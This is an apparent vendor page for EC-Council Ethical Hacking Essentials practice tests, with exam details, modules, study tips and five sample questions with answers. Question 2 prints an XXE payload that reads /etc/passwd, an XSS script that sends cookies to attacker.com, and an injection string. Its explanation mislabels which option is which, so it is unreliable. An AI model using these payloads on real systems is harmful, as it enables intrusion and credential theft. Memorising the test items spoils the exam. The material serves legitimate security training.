EC-Council · EHE
Ethical Hacking Essentials (EHE) Practice Tests
Validates foundational understanding of ethical hacking and penetration testing concepts, covering information security fundamentals, threats and vulnerabilities, password cracking, web application attacks, IoT and OT security, cloud computing threats, and penetration testing methodology.
Exam Details
Practice Questions
627
≈ 5 practice exams
Duration
120 minutes
Passing Score
70%
Difficulty
FoundationalLast Updated
Feb 2026
Ethical Hacking Essentials (EHE) Practice Exam Preparation
Use this EHE practice exam to prepare for Ethical Hacking Essentials (EHE) with realistic questions, detailed explanations, and focused study modes. The practice bank includes 627 questions for EC-Council EHE, so you can review the exam steadily instead of relying on one long cram session.
As you practice, pay extra attention to patterns in your missed answers. Start with short sessions to identify weak areas, then move into timed quizzes once your accuracy is consistent.
The explanations are especially useful when you want to connect exam wording to the responsibilities and scenarios described in the official certification guidance. Use the free preview first, then unlock the full question bank when you are ready to build a complete study routine.
Exam Overview
The Ethical Hacking Essentials (EHE) is an entry-level cybersecurity certification from EC-Council, designed to validate foundational knowledge of ethical hacking principles, penetration testing concepts, and information security fundamentals. Delivered under EC-Council's Essentials Series, it covers a broad spectrum of attack surfaces and defensive countermeasures across 12 modules, including network-level attacks, web application vulnerabilities, social engineering, wireless security, IoT and operational technology (OT) threats, and cloud computing risks. The certification carries exam code 112-52 and is valid for three years, with no continuing education fees or EC-Council Continuing Education Credits (ECEs) required during that period.
EHE serves as a structured on-ramp for individuals new to the cybersecurity field, bridging the gap between general IT knowledge and the more advanced Certified Ethical Hacker (CEH) credential. The course includes 15 hours of premium learning content and 11 hands-on labs, ensuring candidates gain both conceptual understanding and practical exposure to real-world attack techniques and countermeasures.
Who Should Take This Exam
EHE is aimed at individuals who are beginning their journey in cybersecurity and information security. There are no formal IT or cybersecurity experience requirements, making it accessible to career changers, recent graduates, and students exploring the field. Job roles that align with this certification include entry-level security analyst, junior penetration tester, IT support professional seeking to pivot into security, and cybersecurity student.
The credential is also well-suited for professionals in adjacent IT roles—such as system administrators or network technicians—who want to formalize their understanding of attacker methodologies and threat landscapes. It is frequently pursued as a first step before attempting the CEH or other intermediate-level certifications.
Prerequisites
There are no formal eligibility requirements or prerequisites to register for the EHE exam. EC-Council explicitly states that no prior IT or cybersecurity experience is necessary, making this one of the most accessible credentials in the EC-Council portfolio.
However, candidates benefit from a basic understanding of how computers and networks operate, including familiarity with operating system concepts, IP addressing, and common internet protocols. Those with some exposure to IT fundamentals—through coursework, self-study, or personal projects—will find the material easier to absorb and retain during preparation.
Exam Format
The EHE exam (code 112-52) consists of 75 multiple-choice questions and must be completed within 120 minutes. A passing score of 70% is required. The exam is administered through EC-Council's ECC Exam Center and can be taken online in a proctored environment. The exam cost is $49.99 for the exam voucher through select channels, though pricing may vary by region and training bundle.
The certification is valid for three years from the date of a successful attempt. Recertification is achieved by retaking the exam at the end of the three-year validity period. No continuing education credits or fees are required to maintain the credential during its active term.
Skills Measured
- 1.Module 1 – Information Security Fundamentals: Core information security concepts, CIA triad, data classification, and an overview of relevant information security laws and regulations.
- 2.Module 2 – Ethical Hacking Fundamentals: Cyber kill chain methodology, hacker classifications, the phases of hacking (reconnaissance through covering tracks), and the ethical and legal scope of authorized penetration testing.
- 3.Module 3 – Information Security Threats and Vulnerability Assessment: Threat types and sources, malware categories (viruses, worms, ransomware, trojans, spyware), vulnerability types, and structured vulnerability assessment approaches.
- 4.Module 4 – Password Cracking Techniques and Countermeasures: Dictionary, brute-force, rainbow table, and hybrid attacks; common password cracking tools; and defensive strategies such as multi-factor authentication and account lockout policies.
- 5.Module 5 – Social Engineering Techniques and Countermeasures: Phishing, vishing, spear phishing, insider threats, identity theft, and organizational countermeasures including security awareness training.
- 6.Module 6 – Network Level Attacks and Countermeasures: Packet sniffing, denial-of-service (DoS) and distributed DoS (DDoS) attacks, session hijacking techniques, and network-layer defenses.
- 7.Module 7 – Web Application Attacks and Countermeasures: Common OWASP-category vulnerabilities including SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), and web server attack methods.
- 8.Module 8 – Wireless Attacks and Countermeasures: Rogue access points, WEP/WPA cracking, evil twin attacks, wireless sniffing, and Bluetooth-specific vulnerabilities and mitigations.
- 9.Module 9 – Mobile Attacks and Countermeasures: Mobile platform-specific threats for Android and iOS, mobile malware, BYOD risks, and mobile device management (MDM) strategies.
- 10.Module 10 – IoT and OT Attacks and Countermeasures: Security challenges unique to Internet of Things devices and operational technology infrastructure, attack vectors, and guidelines for hardening IoT/OT environments.
- 11.Module 11 – Cloud Computing Threats and Countermeasures: Cloud service and deployment models, container technology basics, cloud-specific threats (data breaches, account hijacking, insecure APIs), and cloud security best practices.
- 12.Module 12 – Penetration Testing Fundamentals: Penetration testing types and phases (planning, reconnaissance, scanning, exploitation, reporting), rules of engagement, and professional and legal considerations.
Study Tips
- Download and study the official EHE Exam Blueprint (EHEv1 Exam Blueprint.pdf) available on cert.eccouncil.org — it outlines the tested knowledge areas and is the authoritative guide to exam scope.
- Enroll in EC-Council's official EHE courseware, which includes 15 hours of structured content and 11 hands-on labs; actively completing the labs reinforces attack and defense concepts that appear on the exam.
- Use EC-Council's CodeRed or iClass platform to access the official course, and supplement with the Coursera or edX versions of the EHE course offered directly by EC-Council for flexible self-paced learning.
- Focus on understanding the purpose and mechanics of each attack type (e.g., how SQL injection exploits unsanitized input, how DoS attacks exhaust resources) rather than memorizing specific tool names, as the exam tests conceptual understanding.
- Review key information security laws and frameworks mentioned in Module 1, such as GDPR, HIPAA, and the Computer Fraud and Abuse Act, as regulatory knowledge is a tested area often overlooked by candidates focused on technical topics.
- Take timed practice exams under realistic conditions to build exam stamina and identify weak domains; third-party practice platforms such as EDUSUM offer 112-52 practice questions aligned to the exam syllabus.
- Revisit the 12 modules in the order presented, as each builds on prior concepts — completing all modules before attempting practice tests ensures comprehensive coverage of all exam domains.
Career Benefits
Earning the EHE credential demonstrates to employers that a candidate possesses structured, vendor-validated knowledge of ethical hacking fundamentals, which can differentiate entry-level applicants in a competitive cybersecurity job market. The certification is recognized as a stepping stone toward higher-value EC-Council credentials, most notably the Certified Ethical Hacker (CEH), which is widely required or preferred for penetration tester, security analyst, and red team roles. EHE holders are positioned for roles such as junior security analyst, cybersecurity support specialist, and IT risk analyst.
While the EHE itself is a foundational credential and does not command the same salary premium as CEH or OSCP, it validates commitment to the field and provides a recognized credential for candidates building their first cybersecurity resume. Entry-level cybersecurity roles in the United States typically range from $55,000 to $85,000 annually, and holding a recognized certification from EC-Council can accelerate hiring and interview opportunities, particularly at organizations that already use EC-Council training for their security teams.
Sample Questions
5 sample questions with answers and explanations. The full bank has 627 questions, enough for 5 full-length practice exams.
Preview — answers shown1. A security architect designs a layered defense strategy that integrates locks and biometric access at facilities, firewalls and IDS/IPS for networks, and security policies with employee training. What security principle is being implemented? (Select one!)
ALeast privilege
BSeparation of duties
CDefense in depth
DFail secure
Explanation
Defense in depth implements multiple layers of security controls across physical, technical, and administrative domains to provide redundancy. If one control fails, others continue to provide protection. The layered architecture spans perimeter, network, host, application, and data levels. Least privilege restricts users to minimum necessary permissions. Separation of duties divides critical tasks among multiple people to prevent fraud. Fail secure ensures systems default to a secure state during failures. Defense in depth is the only principle that explicitly integrates multiple control types across all security domains.
2. A penetration tester discovers a web application vulnerable to XXE (XML External Entity) injection. The application processes XML input and the tester wants to read the /etc/passwd file from the server. Which malicious XML payload would accomplish this objective? (Select one!)
A<script>document.location='http://attacker.com/?c='+document.cookie</script>
B<img src=x onerror="eval(atob('malicious_payload'))">
C<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
D<root><user>admin' OR '1'='1</user></root>
Explanation
XXE injection exploits XML parsers that process external entities. The DOCTYPE declaration defines an entity named xxe that references the file:///etc/passwd file using the SYSTEM keyword. When the XML parser processes &xxe;, it replaces it with the file contents. The second option is SQL injection. The third option is XSS using JavaScript. The fourth option is DOM-based XSS. Proper XXE prevention requires disabling external entity processing in the XML parser configuration.
3. An organization is implementing AAA services for network access control. The security team requires a protocol that encrypts the entire authentication session, operates over TCP for reliability, and separates authentication, authorization, and accounting into distinct functions. Which protocol should they deploy? (Select one!)
AKerberos
BDiameter
CTACACS+
DRADIUS
Explanation
TACACS+ is a Cisco proprietary protocol that operates over TCP port 49, encrypts the entire authentication session for maximum security, and separates AAA functions into distinct processes allowing granular control. RADIUS uses UDP transport, only encrypts passwords rather than the entire session, and combines authentication and authorization functions. Diameter is designed for mobile networks and is more complex than required. Kerberos is a single sign-on protocol not primarily designed for network device AAA.
4. A security team implements defense in depth for a financial application. Which combination represents the three pillars of defense in depth architecture? (Select one!)
AConfidentiality, integrity, availability
BPrevention, detection, response
CAuthentication, authorization, accounting
DPhysical controls, technical controls, administrative controls
Explanation
Defense in depth integrates three fundamental pillars: physical controls like locks and biometric access, technical controls such as firewalls and encryption, and administrative controls including policies and training. This layered approach ensures multiple security barriers. The CIA triad represents core security principles, not defense in depth layers. Prevention, detection, and response describe security control functions, not the architectural pillars. The AAA framework addresses access management specifically, not the comprehensive defense in depth strategy.
5. A malware analyst examines a sophisticated threat that operates entirely in memory without writing files to disk. The malware uses legitimate Windows tools like PowerShell and WMI to execute malicious activities. What type of malware is this? (Select one!)
AMacro virus
BPolymorphic virus
CBoot sector virus
DFileless malware
Explanation
Fileless malware is correct because it operates entirely in memory without writing files to disk and uses legitimate system tools in a living-off-the-land technique. This malware leverages PowerShell, WMI, and other built-in utilities to avoid traditional file-based detection. Polymorphic viruses change their code signature but still exist as files. Boot sector viruses infect the MBR and require disk storage. Macro viruses are embedded in documents and also exist as files. The key characteristics of memory-only operation and use of legitimate tools define fileless malware.
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